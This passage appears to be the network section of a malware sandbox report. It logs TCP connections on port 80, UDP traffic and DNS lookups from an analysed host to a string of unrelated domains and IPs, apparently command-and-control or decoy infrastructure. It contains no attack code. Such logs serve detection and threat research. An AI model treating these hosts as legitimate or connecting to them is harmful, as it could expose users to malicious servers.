May 2, 2024 08:28:39.598072052 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.598154068 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.598165989 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.598189116 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.598203897 CEST	49184	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:39.598491907 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.598534107 CEST	49184	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:39.598562956 CEST	80	49184	183.111.183.31	192.168.2.22
May 2, 2024 08:28:39.598606110 CEST	49184	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:40.225678921 CEST	49184	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:41.239900112 CEST	49185	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:41.519207001 CEST	80	49185	183.111.183.31	192.168.2.22
May 2, 2024 08:28:41.519541979 CEST	49185	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:41.519541979 CEST	49185	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:41.798891068 CEST	80	49185	183.111.183.31	192.168.2.22
May 2, 2024 08:28:42.050122976 CEST	80	49185	183.111.183.31	192.168.2.22
May 2, 2024 08:28:42.050144911 CEST	80	49185	183.111.183.31	192.168.2.22
May 2, 2024 08:28:42.050339937 CEST	49185	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:42.050339937 CEST	49185	80	192.168.2.22	183.111.183.31
May 2, 2024 08:28:42.329355955 CEST	80	49185	183.111.183.31	192.168.2.22
May 2, 2024 08:28:47.181792021 CEST	49186	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:47.335211992 CEST	80	49186	67.223.117.189	192.168.2.22
May 2, 2024 08:28:47.335294008 CEST	49186	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:47.335522890 CEST	49186	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:47.488799095 CEST	80	49186	67.223.117.189	192.168.2.22
May 2, 2024 08:28:47.488821030 CEST	80	49186	67.223.117.189	192.168.2.22
May 2, 2024 08:28:47.488858938 CEST	49186	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:47.642158031 CEST	80	49186	67.223.117.189	192.168.2.22
May 2, 2024 08:28:47.827896118 CEST	80	49186	67.223.117.189	192.168.2.22
May 2, 2024 08:28:47.827924013 CEST	80	49186	67.223.117.189	192.168.2.22
May 2, 2024 08:28:47.827981949 CEST	49186	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:48.928070068 CEST	49186	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:56.465487957 CEST	49187	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:56.618884087 CEST	80	49187	67.223.117.189	192.168.2.22
May 2, 2024 08:28:56.618962049 CEST	49187	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:56.619167089 CEST	49187	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:56.773029089 CEST	80	49187	67.223.117.189	192.168.2.22
May 2, 2024 08:28:56.909734964 CEST	80	49187	67.223.117.189	192.168.2.22
May 2, 2024 08:28:56.909780979 CEST	80	49187	67.223.117.189	192.168.2.22
May 2, 2024 08:28:56.909838915 CEST	49187	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:58.121702909 CEST	49187	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:59.149621010 CEST	49188	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:59.304112911 CEST	80	49188	67.223.117.189	192.168.2.22
May 2, 2024 08:28:59.305978060 CEST	49188	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:59.305978060 CEST	49188	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:59.460000038 CEST	80	49188	67.223.117.189	192.168.2.22
May 2, 2024 08:28:59.463784933 CEST	49188	80	192.168.2.22	67.223.117.189
May 2, 2024 08:28:59.618105888 CEST	80	49188	67.223.117.189	192.168.2.22
May 2, 2024 08:28:59.758326054 CEST	80	49188	67.223.117.189	192.168.2.22
May 2, 2024 08:28:59.758363962 CEST	80	49188	67.223.117.189	192.168.2.22
May 2, 2024 08:28:59.758550882 CEST	49188	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:00.817698002 CEST	49188	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:01.833782911 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:01.990781069 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:01.993967056 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:01.993967056 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.152143955 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288319111 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288368940 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288388968 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288446903 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.288479090 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288520098 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.288544893 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288574934 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288610935 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.288691044 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288784981 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288846970 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.288888931 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288908005 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.288974047 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.445311069 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.445375919 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.445394039 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.445461035 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.445468903 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.445512056 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.445621014 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.445638895 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.445703030 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.445749044 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.445774078 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.445831060 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.445940971 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.445983887 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.446044922 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.446108103 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.446120977 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.446187019 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.446253061 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.446352005 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.446409941 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.446504116 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.446530104 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:02.446590900 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.446664095 CEST	49189	80	192.168.2.22	67.223.117.189
May 2, 2024 08:29:02.604403973 CEST	80	49189	67.223.117.189	192.168.2.22
May 2, 2024 08:29:08.749598026 CEST	49190	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:08.842361927 CEST	80	49190	154.41.250.58	192.168.2.22
May 2, 2024 08:29:08.842432022 CEST	49190	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:08.842675924 CEST	49190	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:08.935482979 CEST	80	49190	154.41.250.58	192.168.2.22
May 2, 2024 08:29:08.935570002 CEST	49190	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:09.028353930 CEST	80	49190	154.41.250.58	192.168.2.22
May 2, 2024 08:29:09.161247969 CEST	80	49190	154.41.250.58	192.168.2.22
May 2, 2024 08:29:09.161328077 CEST	80	49190	154.41.250.58	192.168.2.22
May 2, 2024 08:29:09.161385059 CEST	49190	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:10.349292040 CEST	49190	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:11.363435030 CEST	49191	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:11.456641912 CEST	80	49191	154.41.250.58	192.168.2.22
May 2, 2024 08:29:11.456764936 CEST	49191	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:11.456959963 CEST	49191	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:11.549875021 CEST	80	49191	154.41.250.58	192.168.2.22
May 2, 2024 08:29:11.683789968 CEST	80	49191	154.41.250.58	192.168.2.22
May 2, 2024 08:29:11.683813095 CEST	80	49191	154.41.250.58	192.168.2.22
May 2, 2024 08:29:11.683908939 CEST	49191	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:12.970102072 CEST	49191	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:13.987768888 CEST	49192	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:14.080678940 CEST	80	49192	154.41.250.58	192.168.2.22
May 2, 2024 08:29:14.084063053 CEST	49192	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:14.084063053 CEST	49192	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:14.177232027 CEST	80	49192	154.41.250.58	192.168.2.22
May 2, 2024 08:29:14.177433968 CEST	49192	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:14.270864964 CEST	80	49192	154.41.250.58	192.168.2.22
May 2, 2024 08:29:14.407983065 CEST	80	49192	154.41.250.58	192.168.2.22
May 2, 2024 08:29:14.408013105 CEST	80	49192	154.41.250.58	192.168.2.22
May 2, 2024 08:29:14.408056974 CEST	49192	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:15.590946913 CEST	49192	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:16.605066061 CEST	49193	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:16.698024988 CEST	80	49193	154.41.250.58	192.168.2.22
May 2, 2024 08:29:16.698154926 CEST	49193	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:16.698314905 CEST	49193	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:16.791327000 CEST	80	49193	154.41.250.58	192.168.2.22
May 2, 2024 08:29:16.926501989 CEST	80	49193	154.41.250.58	192.168.2.22
May 2, 2024 08:29:16.926553965 CEST	80	49193	154.41.250.58	192.168.2.22
May 2, 2024 08:29:16.926573992 CEST	80	49193	154.41.250.58	192.168.2.22
May 2, 2024 08:29:16.926815033 CEST	49193	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:16.927637100 CEST	49193	80	192.168.2.22	154.41.250.58
May 2, 2024 08:29:17.023092031 CEST	80	49193	154.41.250.58	192.168.2.22
May 2, 2024 08:29:27.636225939 CEST	49194	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:27.911636114 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:27.912066936 CEST	49194	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:27.912276983 CEST	49194	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:28.187249899 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.187283039 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.189863920 CEST	49194	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:28.465154886 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.776334047 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.776361942 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.776386023 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.776432037 CEST	49194	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:28.776540995 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.776592016 CEST	49194	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:28.776597977 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.776669979 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.776722908 CEST	49194	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:28.777450085 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.777481079 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.777529955 CEST	49194	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:28.784166098 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.784192085 CEST	80	49194	183.111.183.31	192.168.2.22
May 2, 2024 08:29:28.784238100 CEST	49194	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:29.412523031 CEST	49194	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:30.426666975 CEST	49195	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:30.726042986 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:30.726105928 CEST	49195	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:30.726321936 CEST	49195	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:31.026052952 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.296595097 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.296606064 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.296611071 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.296770096 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.296777964 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.296792984 CEST	49195	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:31.296869993 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.296964884 CEST	49195	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:31.297812939 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.297836065 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.299715042 CEST	49195	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:31.299808025 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.299817085 CEST	80	49195	183.111.183.31	192.168.2.22
May 2, 2024 08:29:31.303673983 CEST	49195	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:32.236144066 CEST	49195	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:33.251626968 CEST	49196	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:33.529488087 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:33.535666943 CEST	49196	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:33.535666943 CEST	49196	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:33.813087940 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:33.813100100 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:33.813353062 CEST	49196	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:34.090754986 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.090766907 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.374264002 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.374315023 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.374361992 CEST	49196	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:34.374469995 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.374577045 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.374623060 CEST	49196	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:34.374650955 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.374814034 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.374850988 CEST	49196	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:34.375437975 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.375592947 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.375636101 CEST	49196	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:34.379626989 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.379844904 CEST	80	49196	183.111.183.31	192.168.2.22
May 2, 2024 08:29:34.379894018 CEST	49196	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:35.044128895 CEST	49196	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:36.089607000 CEST	49197	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:36.365108013 CEST	80	49197	183.111.183.31	192.168.2.22
May 2, 2024 08:29:36.365158081 CEST	49197	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:36.365324974 CEST	49197	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:36.643007994 CEST	80	49197	183.111.183.31	192.168.2.22
May 2, 2024 08:29:36.928196907 CEST	80	49197	183.111.183.31	192.168.2.22
May 2, 2024 08:29:36.928217888 CEST	80	49197	183.111.183.31	192.168.2.22
May 2, 2024 08:29:36.928317070 CEST	49197	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:36.928416014 CEST	49197	80	192.168.2.22	183.111.183.31
May 2, 2024 08:29:37.204648972 CEST	80	49197	183.111.183.31	192.168.2.22
May 2, 2024 08:29:50.478945971 CEST	49198	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:50.568530083 CEST	80	49198	208.91.197.13	192.168.2.22
May 2, 2024 08:29:50.568864107 CEST	49198	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:50.568864107 CEST	49198	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:50.658834934 CEST	80	49198	208.91.197.13	192.168.2.22
May 2, 2024 08:29:53.093537092 CEST	49199	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:53.182034016 CEST	80	49199	208.91.197.13	192.168.2.22
May 2, 2024 08:29:53.182133913 CEST	49199	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:53.182307005 CEST	49199	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:53.270648003 CEST	80	49199	208.91.197.13	192.168.2.22
May 2, 2024 08:29:55.698779106 CEST	49200	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:55.787667990 CEST	80	49200	208.91.197.13	192.168.2.22
May 2, 2024 08:29:55.787724972 CEST	49200	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:55.788033962 CEST	49200	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:55.878062963 CEST	80	49200	208.91.197.13	192.168.2.22
May 2, 2024 08:29:58.304008007 CEST	49201	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:58.393235922 CEST	80	49201	208.91.197.13	192.168.2.22
May 2, 2024 08:29:58.393846989 CEST	49201	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:58.393846989 CEST	49201	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:58.483205080 CEST	80	49201	208.91.197.13	192.168.2.22
May 2, 2024 08:29:58.718971968 CEST	80	49201	208.91.197.13	192.168.2.22
May 2, 2024 08:29:58.719037056 CEST	80	49201	208.91.197.13	192.168.2.22
May 2, 2024 08:29:58.719116926 CEST	80	49201	208.91.197.13	192.168.2.22
May 2, 2024 08:29:58.719260931 CEST	80	49201	208.91.197.13	192.168.2.22
May 2, 2024 08:29:58.719274044 CEST	80	49201	208.91.197.13	192.168.2.22
May 2, 2024 08:29:58.719633102 CEST	49201	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:58.720963001 CEST	49201	80	192.168.2.22	208.91.197.13
May 2, 2024 08:29:58.809761047 CEST	80	49201	208.91.197.13	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 2, 2024 08:26:04.055118084 CEST	138	138	192.168.2.22	192.168.2.255
May 2, 2024 08:26:08.124651909 CEST	54562	53	192.168.2.22	8.8.8.8
May 2, 2024 08:26:08.222877026 CEST	53	54562	8.8.8.8	192.168.2.22
May 2, 2024 08:26:51.505460024 CEST	52917	53	192.168.2.22	8.8.8.8
May 2, 2024 08:26:51.608325005 CEST	53	52917	8.8.8.8	192.168.2.22
May 2, 2024 08:26:56.611654997 CEST	62751	53	192.168.2.22	8.8.8.8
May 2, 2024 08:26:56.775614023 CEST	53	62751	8.8.8.8	192.168.2.22
May 2, 2024 08:27:01.625319958 CEST	57893	53	192.168.2.22	8.8.8.8
May 2, 2024 08:27:01.725507021 CEST	53	57893	8.8.8.8	192.168.2.22
May 2, 2024 08:27:04.484443903 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:05.237036943 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:06.001429081 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:11.997076988 CEST	54821	53	192.168.2.22	8.8.8.8
May 2, 2024 08:27:12.094806910 CEST	53	54821	8.8.8.8	192.168.2.22
May 2, 2024 08:27:12.095403910 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:12.849930048 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:13.614340067 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:15.394332886 CEST	54719	53	192.168.2.22	8.8.8.8
May 2, 2024 08:27:15.493933916 CEST	53	54719	8.8.8.8	192.168.2.22
May 2, 2024 08:27:15.494654894 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:16.250765085 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:17.015230894 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:18.795037031 CEST	49881	53	192.168.2.22	8.8.8.8
May 2, 2024 08:27:18.893646002 CEST	53	49881	8.8.8.8	192.168.2.22
May 2, 2024 08:27:18.894162893 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:19.651467085 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:20.415868044 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:22.278522015 CEST	54998	53	192.168.2.22	8.8.8.8
May 2, 2024 08:27:22.374011993 CEST	53	54998	8.8.8.8	192.168.2.22
May 2, 2024 08:27:22.374599934 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:23.130299091 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:23.894680023 CEST	137	137	192.168.2.22	192.168.2.255
May 2, 2024 08:27:29.671816111 CEST	52781	53	192.168.2.22	8.8.8.8
May 2, 2024 08:27:29.855329990 CEST	53	52781	8.8.8.8	192.168.2.22
May 2, 2024 08:27:43.305377007 CEST	63926	53	192.168.2.22	8.8.8.8
May 2, 2024 08:27:43.612377882 CEST	53	63926	8.8.8.8	192.168.2.22
May 2, 2024 08:27:57.114625931 CEST	65510	53	192.168.2.22	8.8.8.8
May 2, 2024 08:27:57.229892015 CEST	53	65510	8.8.8.8	192.168.2.22
May 2, 2024 08:28:06.062151909 CEST	138	138	192.168.2.22	192.168.2.255
May 2, 2024 08:28:10.821413994 CEST	62672	53	192.168.2.22	8.8.8.8
May 2, 2024 08:28:10.923126936 CEST	53	62672	8.8.8.8	192.168.2.22
May 2, 2024 08:28:31.427584887 CEST	56475	53	192.168.2.22	8.8.8.8
May 2, 2024 08:28:32.003340006 CEST	53	56475	8.8.8.8	192.168.2.22
May 2, 2024 08:28:47.050195932 CEST	49384	53	192.168.2.22	8.8.8.8
May 2, 2024 08:28:47.181309938 CEST	53	49384	8.8.8.8	192.168.2.22
May 2, 2024 08:29:08.487246990 CEST	54842	53	192.168.2.22	8.8.8.8
May 2, 2024 08:29:08.749180079 CEST	53	54842	8.8.8.8	192.168.2.22
May 2, 2024 08:29:26.939393997 CEST	58105	53	192.168.2.22	8.8.8.8
May 2, 2024 08:29:27.634426117 CEST	53	58105	8.8.8.8	192.168.2.22
May 2, 2024 08:29:41.929637909 CEST	64928	53	192.168.2.22	8.8.8.8
May 2, 2024 08:29:42.028947115 CEST	53	64928	8.8.8.8	192.168.2.22
May 2, 2024 08:29:43.033849955 CEST	57390	53	192.168.2.22	8.8.8.8
May 2, 2024 08:29:43.135082006 CEST	53	57390	8.8.8.8	192.168.2.22
May 2, 2024 08:29:44.140249014 CEST	58095	53	192.168.2.22	8.8.8.8
May 2, 2024 08:29:44.240052938 CEST	53	58095	8.8.8.8	192.168.2.22
May 2, 2024 08:29:45.251631021 CEST	54261	53	192.168.2.22	8.8.8.8
May 2, 2024 08:29:45.350110054 CEST	53	54261	8.8.8.8	192.168.2.22
May 2, 2024 08:29:50.348968983 CEST	60507	53	192.168.2.22	8.8.8.8
May 2, 2024 08:29:50.478497982 CEST	53	60507	8.8.8.8	192.168.2.22
May 2, 2024 08:30:03.719363928 CEST	50446	53	192.168.2.22	8.8.8.8
May 2, 2024 08:30:03.932369947 CEST	53	50446	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 2, 2024 08:26:08.124651909 CEST	192.168.2.22	8.8.8.8	0xc13a	Standard query (0)	universalmovies.top	A (IP address)	IN (0x0001)	false
May 2, 2024 08:26:51.505460024 CEST	192.168.2.22	8.8.8.8	0x7f30	Standard query (0)	www.besthomeincome24.com	A (IP address)	IN (0x0001)	false
May 2, 2024 08:26:56.611654997 CEST	192.168.2.22	8.8.8.8	0x702f	Standard query (0)	www.terelprime.com	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:01.625319958 CEST	192.168.2.22	8.8.8.8	0xd00d	Standard query (0)	www.sqlite.org	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:11.997076988 CEST	192.168.2.22	8.8.8.8	0x9223	Standard query (0)	www.99b6q.xyz	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:15.394332886 CEST	192.168.2.22	8.8.8.8	0x1442	Standard query (0)	www.99b6q.xyz	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:18.795037031 CEST	192.168.2.22	8.8.8.8	0xd049	Standard query (0)	www.99b6q.xyz	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:22.278522015 CEST	192.168.2.22	8.8.8.8	0xe68	Standard query (0)	www.99b6q.xyz	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:29.671816111 CEST	192.168.2.22	8.8.8.8	0xbad2	Standard query (0)	www.kinkynerdspro.blog	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:43.305377007 CEST	192.168.2.22	8.8.8.8	0xf4cb	Standard query (0)	www.xn--matfrmn-jxa4m.se	A (IP address)	IN (0x0001)	false
May 2, 2024 08:27:57.114625931 CEST	192.168.2.22	8.8.8.8	0x3b08	Standard query (0)	www.primeplay88.org	A (IP address)	IN (0x0001)	false
May 2, 2024 08:28:10.821413994 CEST	192.168.2.22	8.8.8.8	0x7a6a	Standard query (0)	www.aceautocorp.com	A (IP address)	IN (0x0001)	false
May 2, 2024 08:28:31.427584887 CEST	192.168.2.22	8.8.8.8	0x4557	Standard query (0)	www.mrart.co.kr	A (IP address)	IN (0x0001)	false
May 2, 2024 08:28:47.050195932 CEST	192.168.2.22	8.8.8.8	0x42ea	Standard query (0)	www.touchclean.top	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:08.487246990 CEST	192.168.2.22	8.8.8.8	0x1bd8	Standard query (0)	www.ibistradingco.com	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:26.939393997 CEST	192.168.2.22	8.8.8.8	0x6bb2	Standard query (0)	www.jnkinteractive.co.kr	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:41.929637909 CEST	192.168.2.22	8.8.8.8	0x1486	Standard query (0)	www.chrisdomond.com	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:43.033849955 CEST	192.168.2.22	8.8.8.8	0xd063	Standard query (0)	www.chrisdomond.com	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:44.140249014 CEST	192.168.2.22	8.8.8.8	0xa6bb	Standard query (0)	www.chrisdomond.com	A (IP address)	IN (0x0001)	false
May 2, 2024 08:29:45.251631021 CEST	192.168.2.22	8.8.8.8	0xfc39	Standard query (0)	www.chrisdomond.com	A (IP address)	IN (0x0001)	false
